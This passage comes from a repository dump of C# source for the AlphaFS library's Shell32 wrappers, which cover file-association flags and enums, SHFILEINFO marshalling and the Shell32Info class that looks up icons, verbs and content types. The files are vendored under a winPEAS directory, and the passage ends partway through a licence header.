that when an IQueryAssociation method does not find the requested value under the root key, it should attempt to retrieve the comparable value from the Folder subkey. InitDefaultToFolder = 8, /// Specifies that only HKEY_CLASSES_ROOT should be searched, and that HKEY_CURRENT_USER should be ignored. NoUserSettings = 16, /// Specifies that the return string should not be truncated. Instead, return an error value and the required size for the complete string. NoTruncate = 32, /// /// Instructs IQueryAssociations methods to verify that data is accurate. /// This setting allows IQueryAssociations methods to read data from the user's hard disk for verification. /// For example, they can check the friendly name in the registry against the one stored in the .exe file. /// /// Setting this flag typically reduces the efficiency of the method. Verify = 64, /// /// Instructs IQueryAssociations methods to ignore Rundll.exe and return information about its target. /// Typically IQueryAssociations methods return information about the first .exe or .dll in a command string. /// If a command uses Rundll.exe, setting this flag tells the method to ignore Rundll.exe and return information about its target. /// RemapRunDll = 128, /// Instructs IQueryAssociations methods not to fix errors in the registry, such as the friendly name of a function not matching the one found in the .exe file. [SuppressMessage("Microsoft.Naming", "CA1702:CompoundWordsShouldBeCasedCorrectly", MessageId = "FixUps")] NoFixUps = 256, /// Specifies that the BaseClass value should be ignored. IgnoreBaseClass = 512, /// Specifies that the "Unknown" ProgID should be ignored; instead, fail. /// Introduced in Windows 7. InitIgnoreUnknown = 1024, /// Specifies that the supplied ProgID should be mapped using the system defaults, rather than the current user defaults. /// Introduced in Windows 8. InitFixedProgId = 2048, /// Specifies that the value is a protocol, and should be mapped using the current user defaults. /// Introduced in Windows 8. IsProtocol = 4096 } //internal enum AssociationData //{ // MsiDescriptor = 1, // NoActivateHandler = 2 , // QueryClassStore = 3, // HasPerUserAssoc = 4, // EditFlags = 5, // Value = 6 //} //internal enum AssociationKey //{ // ShellExecClass = 1, // App = 2, // Class = 3, // BaseClass = 4 //} /// ASSOCSTR enumeration - Used by the AssocQueryString() function to define the type of string that is to be returned. public enum AssociationString { /// None. None = 0, /// A command string associated with a Shell verb. Command = 1, /// /// An executable from a Shell verb command string. /// For example, this string is found as the (Default) value for a subkey such as HKEY_CLASSES_ROOT\ApplicationName\shell\Open\command. /// If the command uses Rundll.exe, set the flag in the attributes parameter of IQueryAssociations::GetString to retrieve the target executable. /// Executable = 2, /// The friendly name of a document type. FriendlyDocName = 3, /// The friendly name of an executable file. FriendlyAppName = 4, /// Ignore the information associated with the open subkey. NoOpen = 5, /// Look under the ShellNew subkey. ShellNewValue = 6, /// A template for DDE commands. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dde")] DdeCommand = 7, /// The DDE command to use to create a process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dde")] DdeIfExec = 8, /// The application name in a DDE broadcast. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dde")] DdeApplication = 9, /// The topic name in a DDE broadcast. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dde")] DdeTopic = 10, /// /// Corresponds to the InfoTip registry value. /// Returns an info tip for an item, or list of properties in the form of an IPropertyDescriptionList from which to create an info tip, such as when hovering the cursor over a file name. /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString. /// InfoTip = 11, /// /// Corresponds to the QuickTip registry value. This is the same as , except that it always returns a list of property names in the form of an IPropertyDescriptionList. /// The difference between this value and is that this returns properties that are safe for any scenario that causes slow property retrieval, such as offline or slow networks. /// Some of the properties returned from might not be appropriate for slow property retrieval scenarios. /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString. /// QuickTip = 12, /// /// Corresponds to the TileInfo registry value. Contains a list of properties to be displayed for a particular file type in a Windows Explorer window that is in tile view. /// This is the same as , but, like , it also returns a list of property names in the form of an IPropertyDescriptionList. /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString. /// TileInfo = 13, /// /// Describes a general type of MIME file association, such as image and bmp, /// so that applications can make general assumptions about a specific file type. /// ContentType = 14, /// /// Returns the path to the icon resources to use by default for this association. /// Positive numbers indicate an index into the dll's resource table, while negative numbers indicate a resource ID. /// An example of the syntax for the resource is "c:\myfolder\myfile.dll,-1". /// DefaultIcon = 15, /// /// For an object that has a Shell extension associated with it, /// you can use this to retrieve the CLSID of that Shell extension object by passing a string representation /// of the IID of the interface you want to retrieve as the pwszExtra parameter of IQueryAssociations::GetString. /// For example, if you want to retrieve a handler that implements the IExtractImage interface, /// you would specify "{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}", which is the IID of IExtractImage. /// ShellExtension = 16, /// /// For a verb invoked through COM and the IDropTarget interface, you can use this flag to retrieve the IDropTarget object's CLSID. /// This CLSID is registered in the DropTarget subkey. /// The verb is specified in the supplied file parameter in the call to IQueryAssociations::GetString. /// DropTarget = 17, /// /// For a verb invoked through COM and the IExecuteCommand interface, you can use this flag to retrieve the IExecuteCommand object's CLSID. /// This CLSID is registered in the verb's command subkey as the DelegateExecute entry. /// The verb is specified in the supplied file parameter in the call to IQueryAssociations::GetString. /// DelegateExecute = 18, /// (No description available on MSDN) /// Introduced in Windows 8. SupportedUriProtocols = 19, /// The maximum defined value, used for validation purposes. Max = 20 } /// Shell32 FileAttributes structure, used to retrieve the different types of a file system object. [SuppressMessage("Microsoft.Design", "CA1034:NestedTypesShouldNotBeVisible")] [SuppressMessage("Microsoft.Design", "CA1008:EnumsShouldHaveZeroValue")] [Flags] public enum FileAttributes { /// 0x000000000 - Get file system object large icon. /// The flag must also be set. LargeIcon = 0, /// 0x000000001 - Get file system object small icon. /// The flag must also be set. SmallIcon = 1, /// 0x000000002 - Get file system object open icon. /// A container object displays an open icon to indicate that the container is open. /// The and/or flag must also be set. OpenIcon = 2, /// 0x000000004 - Get file system object Shell-sized icon. /// If this attribute is not specified the function sizes the icon according to the system metric values. ShellIconSize = 4, /// 0x000000008 - Get file system object by its PIDL. /// Indicate that the given file contains the address of an ITEMIDLIST structure rather than a path name. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pidl")] Pidl = 8, /// 0x000000010 - Indicates that the given file should not be accessed. Rather, it should act as if the given file exists and use the supplied attributes. /// This flag cannot be combined with the , or attributes. UseFileAttributes = 16, /// 0x000000020 - Apply the appropriate overlays to the file's icon. /// The flag must also be set. AddOverlays = 32, /// 0x000000040 - Returns the index of the overlay icon. /// The value of the overlay index is returned in the upper eight bits of the iIcon member of the structure specified by psfi. OverlayIndex = 64, /// 0x000000100 - Retrieve the handle to the icon that represents the file and the index of the icon within the system image list. The handle is copied to the member of the structure, and the index is copied to the member. Icon = 256, /// 0x000000200 - Retrieve the display name for the file. The name is copied to the member of the structure. /// The returned display name uses the long file name, if there is one, rather than the 8.3 form of the file name. DisplayName = 512, /// 0x000000400 - Retrieve the string that describes the file's type. TypeName = 1024, /// 0x000000800 - Retrieve the item attributes. The attributes are copied to the member of the structure. /// Will touch every file, degrading performance. Attributes = 2048, /// 0x000001000 - Retrieve the name of the file that contains the icon representing the file specified by pszPath. The name of the file containing the icon is copied to the member of the structure. The icon's index is copied to that structure's member. IconLocation = 4096, /// 0x000002000 - Retrieve the type of the executable file if pszPath identifies an executable file. /// This flag cannot be specified with any other attributes. ExeType = 8192, /// 0x000004000 - Retrieve the index of a system image list icon. SysIconIndex = 16384, /// 0x000008000 - Add the link overlay to the file's icon. /// The flag must also be set. LinkOverlay = 32768, /// 0x000010000 - Blend the file's icon with the system highlight color. Selected = 65536, /// 0x000020000 - Modify to indicate that contains specific attributes that are desired. /// This flag cannot be specified with the attribute. Will touch every file, degrading performance. AttributesSpecified = 131072 } /// SHFILEINFO structure, contains information about a file system object. [SuppressMessage("Microsoft.Performance", "CA1815:OverrideEqualsAndOperatorEqualsOnValueTypes")] [SuppressMessage("Microsoft.Design", "CA1034:NestedTypesShouldNotBeVisible")] [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct FileInfo { /// A handle to the icon that represents the file. /// Caller is responsible for destroying this handle with DestroyIcon() when no longer needed. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] public readonly IntPtr IconHandle; /// The index of the icon image within the system image list. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] public int IconIndex; /// An array of values that indicates the attributes of the file object. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] [MarshalAs(UnmanagedType.U4)] public readonly GetAttributesOf Attributes; /// The name of the file as it appears in the Windows Shell, or the path and file name of the file that contains the icon representing the file. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = NativeMethods.MaxPath)] public string DisplayName; /// The type of file. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)] public string TypeName; } /// SFGAO - Attributes that can be retrieved from a file system object. [SuppressMessage("Microsoft.Usage", "CA2217:DoNotMarkEnumsWithFlags"), SuppressMessage("Microsoft.Design", "CA1034:NestedTypesShouldNotBeVisible")] [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Sh")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Sh")] [SuppressMessage("Microsoft.Naming", "CA1714:FlagsEnumsShouldHavePluralNames")] [Flags] public enum GetAttributesOf { /// 0x00000000 - None. None = 0, /// 0x00000001 - The specified items can be copied. CanCopy = 1, /// 0x00000002 - The specified items can be moved. CanMove = 2, /// 0x00000004 - Shortcuts can be created for the specified items. CanLink = 4, /// 0x00000008 - The specified items can be bound to an IStorage object through IShellFolder::BindToObject. For more information about namespace manipulation capabilities, see IStorage. Storage = 8, /// 0x00000010 - The specified items can be renamed. Note that this value is essentially a suggestion; not all namespace clients allow items to be renamed. However, those that do must have this attribute set. CanRename = 16, /// 0x00000020 - The specified items can be deleted. CanDelete = 32, /// 0x00000040 - The specified items have property sheets. HasPropSheet = 64, /// 0x00000100 - The specified items are drop targets. DropTarget = 256, /// 0x00001000 - The specified items are system items. /// Windows 7 and later. System = 4096, /// 0x00002000 - The specified items are encrypted and might require special presentation. Encrypted = 8192, /// 0x00004000 - Accessing the item (through IStream or other storage interfaces) is expected to be a slow operation. IsSlow = 16384, /// 0x00008000 - The specified items are shown as dimmed and unavailable to the user. Ghosted = 32768, /// 0x00010000 - The specified items are shortcuts. Link = 65536, /// 0x00020000 - The specified objects are shared. Share = 131072, /// 0x00040000 - The specified items are read-only. In the case of folders, this means that new items cannot be created in those folders. ReadOnly = 262144, /// 0x00080000 - The item is hidden and should not be displayed unless the Show hidden files and folders option is enabled in Folder Settings. Hidden = 524288, /// 0x00100000 - The items are nonenumerated items and should be hidden. They are not returned through an enumerator such as that created by the IShellFolder::EnumObjects method. NonEnumerated = 1048576, /// 0x00200000 - The items contain new content, as defined by the particular application. NewContent = 2097152, /// 0x00400000 - Indicates that the item has a stream associated with it. Stream = 4194304, /// 0x00800000 - Children of this item are accessible through IStream or IStorage. StorageAncestor = 8388608, /// 0x01000000 - When specified as input, instructs the folder to validate that the items contained in a folder or Shell item array exist. Validate = 16777216, /// 0x02000000 - The specified items are on removable media or are themselves removable devices. Removable = 33554432, /// 0x04000000 - The specified items are compressed. Compressed = 67108864, /// 0x08000000 - The specified items can be hosted inside a web browser or Windows Explorer frame. Browsable = 134217728, /// 0x10000000 - The specified folders are either file system folders or contain at least one descendant (child, grandchild, or later) that is a file system folder. FileSysAncestor = 268435456, /// 0x20000000 - The specified items are folders. Folder = 536870912, /// 0x40000000 - The specified folders or files are part of the file system (that is, they are files, directories, or root directories). FileSystem = 1073741824, /// 0x80000000 - The specified folders have subfolders. [SuppressMessage("Microsoft.Naming", "CA1702:CompoundWordsShouldBeCasedCorrectly", MessageId = "SubFolder")] HasSubFolder = unchecked((int)0x80000000) } /// Used by method UrlIs() to define a URL type. public enum UrlType { /// Is the URL valid? IsUrl = 0, /// Is the URL opaque? IsOpaque = 1, /// Is the URL a URL that is not typically tracked in navigation history? IsNoHistory = 2, /// Is the URL a file URL? IsFileUrl = 3, /// Attempt to determine a valid scheme for the URL. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Appliable")] IsAppliable = 4, /// Does the URL string end with a directory? IsDirectory = 5, /// Does the URL have an appended query string? IsHasQuery = 6 } #region Methods /// Destroys an icon and frees any memory the icon occupied. /// An handle to an icon. public static void DestroyIcon(IntPtr iconHandle) { if (IntPtr.Zero != iconHandle) NativeMethods.DestroyIcon(iconHandle); } /// Gets the file or protocol that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related string from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileAssociation(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.Executable); } /// Gets the content-type that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related content-type from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileContentType(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.ContentType); } /// Gets the default icon that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related default icon from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileDefaultIcon(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.DefaultIcon); } /// Gets the friendly application name that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related friendly application name from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileFriendlyAppName(string path) { return GetFileAssociationCore(path, AssociationAttributes.InitByExeName, AssociationString.FriendlyAppName); } /// Gets the friendly document name that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related friendly document name from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileFriendlyDocName(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.FriendlyDocName); } /// Gets an handle to the Shell icon that represents the file. /// Caller is responsible for destroying this handle with DestroyIcon() when no longer needed. /// /// The path to the file system object which should not exceed maximum path length. Both absolute and /// relative paths are valid. /// /// /// Icon size or . Can also be combined /// with and others. /// /// An handle to the Shell icon that represents the file, or IntPtr.Zero on failure. [SecurityCritical] public static IntPtr GetFileIcon(string filePath, FileAttributes iconAttributes) { if (Utils.IsNullOrWhiteSpace(filePath)) return IntPtr.Zero; var fileInfo = GetFileInfoCore(filePath, System.IO.FileAttributes.Normal, FileAttributes.Icon | iconAttributes, true, true); return fileInfo.IconHandle == IntPtr.Zero ? IntPtr.Zero : fileInfo.IconHandle; } /// Retrieves information about an object in the file system, such as a file, folder, directory, or drive root. /// A struct instance. /// /// You should call this function from a background thread. /// Failure to do so could cause the UI to stop responding. /// Unicode path are supported. /// /// The path to the file system object which should not exceed the maximum path length. Both absolute and relative paths are valid. /// A attribute. /// One ore more attributes. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] public static FileInfo GetFileInfo(string filePath, System.IO.FileAttributes attributes, FileAttributes fileAttributes, bool continueOnException) { return GetFileInfoCore(filePath, attributes, fileAttributes, true, continueOnException); } /// Retrieves an instance of containing information about the specified file. /// A path to the file. /// A class instance. [SecurityCritical] public static Shell32Info GetShell32Info(string path) { return new Shell32Info(path); } /// Retrieves an instance of containing information about the specified file. /// A path to the file. /// Indicates the format of the path parameter(s). /// A class instance. [SecurityCritical] public static Shell32Info GetShell32Info(string path, PathFormat pathFormat) { return new Shell32Info(path, pathFormat); } /// Gets the "Open With" command that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related "Open With" command from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileOpenWithAppName(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.FriendlyAppName); } /// Gets the Shell command that is associated with from the registry. /// A path to the file. /// The associated file- or protocol-related Shell command from the registry or string.Empty if no association can be found. [SecurityCritical] public static string GetFileVerbCommand(string path) { return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.Command); } /// Converts a file URL to a Microsoft MS-DOS path. /// The file URL. /// /// The Microsoft MS-DOS path. If no path can be created, string.Empty is returned. /// If is null, null will also be returned. /// [SecurityCritical] internal static string PathCreateFromUrl(string urlPath) { if (urlPath == null) return null; var buffer = new StringBuilder(NativeMethods.MaxPathUnicode); var bufferSize = (uint)buffer.Capacity; var lastError = NativeMethods.PathCreateFromUrl(urlPath, buffer, ref bufferSize, 0); // Don't throw exception, but return string.Empty; return lastError == Win32Errors.S_OK ? buffer.ToString() : string.Empty; } /// Creates a path from a file URL. /// /// The file path. If no path can be created, string.Empty is returned. /// If is null, null will also be returned. /// /// The operating system is older than Windows Vista. /// The URL. [SecurityCritical] internal static string PathCreateFromUrlAlloc(string urlPath) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int)Win32Errors.ERROR_OLD_WIN_VERSION).Message); if (urlPath == null) return null; StringBuilder buffer; var lastError = NativeMethods.PathCreateFromUrlAlloc(urlPath, out buffer, 0); // Don't throw exception, but return string.Empty; return lastError == Win32Errors.S_OK ? buffer.ToString() : string.Empty; } /// Determines whether a path to a file system object such as a file or folder is valid. /// The full path of maximum length the maximum path length to the object to verify. /// true if the file exists; false otherwise [SuppressMessage("Microsoft.Performance", "CA1804:RemoveUnusedLocals", MessageId = "lastError")] [SecurityCritical] public static bool PathFileExists(string path) { // PathFileExists() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. return !Utils.IsNullOrWhiteSpace(path) && NativeMethods.PathFileExists(Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck | GetFullPathOptions.ContinueOnNonExist)); } /// Tests whether a URL is a specified type. /// The URL. /// /// /// For all but one of the URL types, UrlIs returns true if the URL is the specified type, or false otherwise. /// If UrlIs is set to , UrlIs will attempt to determine the URL scheme. /// If the function is able to determine a scheme, it returns true, or false otherwise. /// [SecurityCritical] internal static bool UrlIs(string url, UrlType urlType) { return NativeMethods.UrlIs(url, urlType); } /// Converts a Microsoft MS-DOS path to a canonicalized URL. /// The full MS-DOS path of maximum length . /// /// The URL. If no URL can be created string.Empty is returned. /// If is null, null will also be returned. /// [SecurityCritical] internal static string UrlCreateFromPath(string path) { if (path == null) return null; // UrlCreateFromPath does not support extended paths. var pathRp = Path.GetRegularPathCore(path, GetFullPathOptions.CheckInvalidPathChars, false); var buffer = new StringBuilder(NativeMethods.MaxPathUnicode); var bufferSize = (uint)buffer.Capacity; var lastError = NativeMethods.UrlCreateFromPath(pathRp, buffer, ref bufferSize, 0); // Don't throw exception, but return null; var url = buffer.ToString(); if (Utils.IsNullOrWhiteSpace(url)) url = string.Empty; return lastError == Win32Errors.S_OK ? url : string.Empty; } /// Tests a URL to determine if it is a file URL. /// The URL. /// true if the URL is a file URL, or false otherwise. [SecurityCritical] internal static bool UrlIsFileUrl(string url) { return NativeMethods.UrlIs(url, UrlType.IsFileUrl); } /// Returns whether a URL is a URL that browsers typically do not include in navigation history. /// The URL. /// true if the URL is a URL that is not included in navigation history, or false otherwise. [SecurityCritical] internal static bool UrlIsNoHistory(string url) { return NativeMethods.UrlIs(url, UrlType.IsNoHistory); } /// Returns whether a URL is opaque. /// The URL. /// true if the URL is opaque, or false otherwise. [SecurityCritical] internal static bool UrlIsOpaque(string url) { return NativeMethods.UrlIs(url, UrlType.IsOpaque); } #region Internal Methods /// Searches for and retrieves a file or protocol association-related string from the registry. /// A path to a file. /// One or more attributes. Only one "InitXXX" attribute can be used. /// A attribute. /// The associated file- or protocol-related string from the registry or string.Empty if no association can be found. /// [SecurityCritical] private static string GetFileAssociationCore(string path, AssociationAttributes attributes, AssociationString associationType) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); attributes = attributes | AssociationAttributes.NoTruncate | AssociationAttributes.RemapRunDll; uint bufferSize = NativeMethods.MaxPath; StringBuilder buffer; uint retVal; do { buffer = new StringBuilder((int)bufferSize); // AssocQueryString() // 2014-02-05: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2015-07-17: This function does not support long paths. retVal = NativeMethods.AssocQueryString(attributes, associationType, path, null, buffer, out bufferSize); // No Exception is thrown, just return empty string on error. //switch (retVal) //{ // // 0x80070483: No application is associated with the specified file for this operation. // case 2147943555: // case Win32Errors.E_POINTER: // case Win32Errors.S_OK: // break; // default: // NativeError.ThrowException(retVal); // break; //} } while (retVal == Win32Errors.E_POINTER); return buffer.ToString(); } /// Retrieve information about an object in the file system, such as a file, folder, directory, or drive root. /// A struct instance. /// /// You should call this function from a background thread. /// Failure to do so could cause the UI to stop responding. /// Unicode path are not supported. /// /// The path to the file system object which should not exceed the maximum path length in length. Both absolute and relative paths are valid. /// A attribute. /// A attribute. /// Checks that the path contains only valid path-characters. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] internal static FileInfo GetFileInfoCore(string path, System.IO.FileAttributes attributes, FileAttributes fileAttributes, bool checkInvalidPathChars, bool continueOnException) { // Prevent possible crash. var fileInfo = new FileInfo { DisplayName = string.Empty, TypeName = string.Empty, IconIndex = 0 }; if (!Utils.IsNullOrWhiteSpace(path)) { // ShGetFileInfo() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2015-07-17: This function does not support long paths. var shGetFileInfo = NativeMethods.ShGetFileInfo(Path.GetRegularPathCore(path, checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : 0, false), attributes, out fileInfo, (uint)Marshal.SizeOf(fileInfo), fileAttributes); if (shGetFileInfo == IntPtr.Zero && !continueOnException) NativeError.ThrowException(Marshal.GetLastWin32Error(), path); } return fileInfo; } #endregion // Internal Methods #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Shell32Info.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { /// Contains Shell32 information about a file. [Serializable] [SecurityCritical] public sealed class Shell32Info { #region Constructors /// Initializes a Shell32Info instance. /// Shell32 is limited to MAX_PATH length. /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. public Shell32Info(string fileName) : this(fileName, PathFormat.RelativePath) { } /// Initializes a Shell32Info instance. /// Shell32 is limited to MAX_PATH length. /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. /// Indicates the format of the path parameter(s). public Shell32Info(string fileName, PathFormat pathFormat) { if (Utils.IsNullOrWhiteSpace(fileName)) throw new ArgumentNullException("fileName"); // Shell32 is limited to MAX_PATH length. // Get a full path of regular format. FullPath = Path.GetExtendedLengthPathCore(null, fileName, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); Initialize(); } #endregion // Constructors #region Methods /// Gets an handle to the Shell icon that represents the file. /// Icon size or . Can also be combined with and others. /// An handle to the Shell icon that represents the file. /// Caller is responsible for destroying this handle with DestroyIcon() when no longer needed. [SecurityCritical] public IntPtr GetIcon(Shell32.FileAttributes iconAttributes) { return Shell32.GetFileIcon(FullPath, iconAttributes); } /// Gets the Shell command association from the registry. /// The shell verb. /// /// Returns the associated file- or protocol-related Shell command from the registry or string.Empty if no association can be /// found. /// [SecurityCritical] public string GetVerbCommand(string shellVerb) { return GetString(_iQaNone, Shell32.AssociationString.Command, shellVerb); } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] private static string GetString(NativeMethods.IQueryAssociations iQa, Shell32.AssociationString assocString, string shellVerb) { // GetString() throws Exceptions. try { // Use a large buffer to prevent calling this function twice. var size = NativeMethods.DefaultFileBufferSize; var buffer = new StringBuilder(size); iQa.GetString(Shell32.AssociationAttributes.NoTruncate | Shell32.AssociationAttributes.RemapRunDll, assocString, shellVerb, buffer, out size); return buffer.ToString(); } catch { return string.Empty; } } private NativeMethods.IQueryAssociations _iQaNone; // Retrieve info from Shell. private NativeMethods.IQueryAssociations _iQaByExe; // Retrieve info from exe file. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] private void Initialize() { if (Initialized) return; var iidIQueryAssociations = new Guid(NativeMethods.QueryAssociationsGuid); if (NativeMethods.AssocCreate(NativeMethods.ClsidQueryAssociations, ref iidIQueryAssociations, out _iQaNone) == Win32Errors.S_OK) { try { _iQaNone.Init(Shell32.AssociationAttributes.None, FullPath, IntPtr.Zero, IntPtr.Zero); if (NativeMethods.AssocCreate(NativeMethods.ClsidQueryAssociations, ref iidIQueryAssociations, out _iQaByExe) == Win32Errors.S_OK) { _iQaByExe.Init(Shell32.AssociationAttributes.InitByExeName, FullPath, IntPtr.Zero, IntPtr.Zero); Initialized = true; } } catch { } } } /// Refreshes the state of the object. [SecurityCritical] public void Refresh() { Association = Command = ContentType = DdeApplication = DefaultIcon = FriendlyAppName = FriendlyDocName = OpenWithAppName = null; Attributes = Shell32.GetAttributesOf.None; Initialized = false; Initialize(); } /// Returns the path as a string. /// The path. public override string ToString() { return FullPath; } #endregion // Methods #region Properties private string _association; /// Gets the Shell file or protocol association from the registry. public string Association { get { if (_association == null) _association = GetString(_iQaNone, Shell32.AssociationString.Executable, null); return _association; } private set { _association = value; } } private Shell32.GetAttributesOf _attributes; /// The attributes of the file object. public Shell32.GetAttributesOf Attributes { get { if (_attributes == Shell32.GetAttributesOf.None) { var fileInfo = Shell32.GetFileInfoCore(FullPath, FileAttributes.Normal, Shell32.FileAttributes.Attributes, false, true); _attributes = fileInfo.Attributes; } return _attributes; } private set { _attributes = value; } } private string _command; /// Gets the Shell command association from the registry. public string Command { get { if (_command == null) _command = GetString(_iQaNone, Shell32.AssociationString.Command, null); return _command; } private set { _command = value; } } private string _contentType; /// Gets the Shell command association from the registry. public string ContentType { get { if (_contentType == null) _contentType = GetString(_iQaNone, Shell32.AssociationString.ContentType, null); return _contentType; } private set { _contentType = value; } } private string _ddeApplication; /// Gets the Shell DDE association from the registry. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dde")] public string DdeApplication { get { if (_ddeApplication == null) _ddeApplication = GetString(_iQaNone, Shell32.AssociationString.DdeApplication, null); return _ddeApplication; } private set { _ddeApplication = value; } } private string _defaultIcon; /// Gets the Shell default icon association from the registry. public string DefaultIcon { get { if (_defaultIcon == null) _defaultIcon = GetString(_iQaNone, Shell32.AssociationString.DefaultIcon, null); return _defaultIcon; } private set { _defaultIcon = value; } } /// Represents the fully qualified path of the file. public string FullPath { get; private set; } private string _friendlyAppName; /// Gets the Shell friendly application name association from the registry. public string FriendlyAppName { get { if (_friendlyAppName == null) _friendlyAppName = GetString(_iQaByExe, Shell32.AssociationString.FriendlyAppName, null); return _friendlyAppName; } private set { _friendlyAppName = value; } } private string _friendlyDocName; /// Gets the Shell friendly document name association from the registry. public string FriendlyDocName { get { if (_friendlyDocName == null) _friendlyDocName = GetString(_iQaNone, Shell32.AssociationString.FriendlyDocName, null); return _friendlyDocName; } private set { _friendlyDocName = value; } } /// Reflects the initialization state of the instance. internal bool Initialized { get; set; } private string _openWithAppName; /// Gets the Shell "Open With" command association from the registry. public string OpenWithAppName { get { if (_openWithAppName == null) _openWithAppName = GetString(_iQaNone, Shell32.AssociationString.FriendlyAppName, null); return _openWithAppName; } private set { _openWithAppName = value; } } #endregion // Properties } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyMoveProgressCallbackReason.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT 